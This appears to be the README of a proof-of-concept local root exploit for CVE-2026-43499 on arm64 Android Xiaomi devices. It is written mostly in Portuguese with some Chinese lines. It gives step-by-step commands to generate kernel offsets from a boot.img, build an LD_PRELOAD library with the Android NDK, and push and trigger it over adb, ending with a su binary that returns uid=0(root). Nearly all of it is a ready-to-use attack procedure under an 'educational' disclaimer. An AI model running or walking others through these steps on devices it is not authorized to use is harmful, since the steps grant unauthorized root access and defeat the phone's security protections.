
Análise de vulnerabilidade e Prova de Conceito (PoC) para CVE-2026-43499 que afeta dispositivos Xiaomi. Somente para fins educacionais e de pesquisa.
English | 中文
Este é um projeto de adaptação de escalada de privilégio local em Android arm64 para o CVE-2026-43499.
O projeto gera target.h com base no boot.img do dispositivo de destino e nas informações do perfil, e então compila o preload.so correspondente.
Nota: Este projeto é um framework de adaptação genérico, não vinculado a um único modelo de dispositivo. A disponibilidade real depende do
generate_target.pyconseguir gerartarget.hcom sucesso e dos resultados dos testes em dispositivo real.
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile_xxx.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
Para instalar o make no MSYS2:
pacman -S make coreutils
Você precisa preparar:
boot.img
profile_xxx.json
Exemplo de perfil:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Estes dois endereços no perfil:
p0_phys_offset
p0_kernel_phys_load
Você pode obtê-los executando o script em um telefone já com root e com o mesmo firmware do boot.img de destino:
python3 detect_offset.py
No Windows também:
python detect_offset.py
Linux / macOS:
cd /path/to/project
Exemplo no Windows MSYS2:
cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main
Exemplo Linux / macOS:
export ANDROID_NDK_HOME=/path/to/android-ndk
Exemplo no Windows MSYS2:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python3 generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
No Windows, se python3 não estiver disponível, use:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h
Se aparecer que llvm-objdump não foi encontrado, especifique o caminho manualmente:
python generate_target.py \
--boot boot.img \
--profile profile_xxx.json \
-o source/src/target.h \
--llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
Se for bem-sucedido, você verá algo como:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
Após o sucesso, será gerado:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
Verificação:
adb shell '/data/local/tmp/su -c id'
Em caso de sucesso, geralmente você verá:
uid=0(root) gid=0(root)
Seguindo o exemplo do seu caminho:
cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64
Arquivo final:
source/build/bin/preload.so
Instale o LLVM ou use:
--llvm-objdump "/path/to/llvm-objdump"
No Windows, instale com MSYS2:
pacman -S make coreutils
Geralmente, o caminho do NDK não está configurado corretamente.
Exemplo no Windows MSYS2:
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
Geralmente indica que o boot.img atual ou o layout do kernel ainda não foi adaptado com sucesso.
Verifique principalmente:
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
Após trocar de dispositivo, sistema ou kernel, é necessário regenerar o target.h.
Não é recomendado editar target.h manualmente; ele deve ser gerado automaticamente pelo generate_target.py.
Use apenas em dispositivos e ambientes nos quais você possui autorização.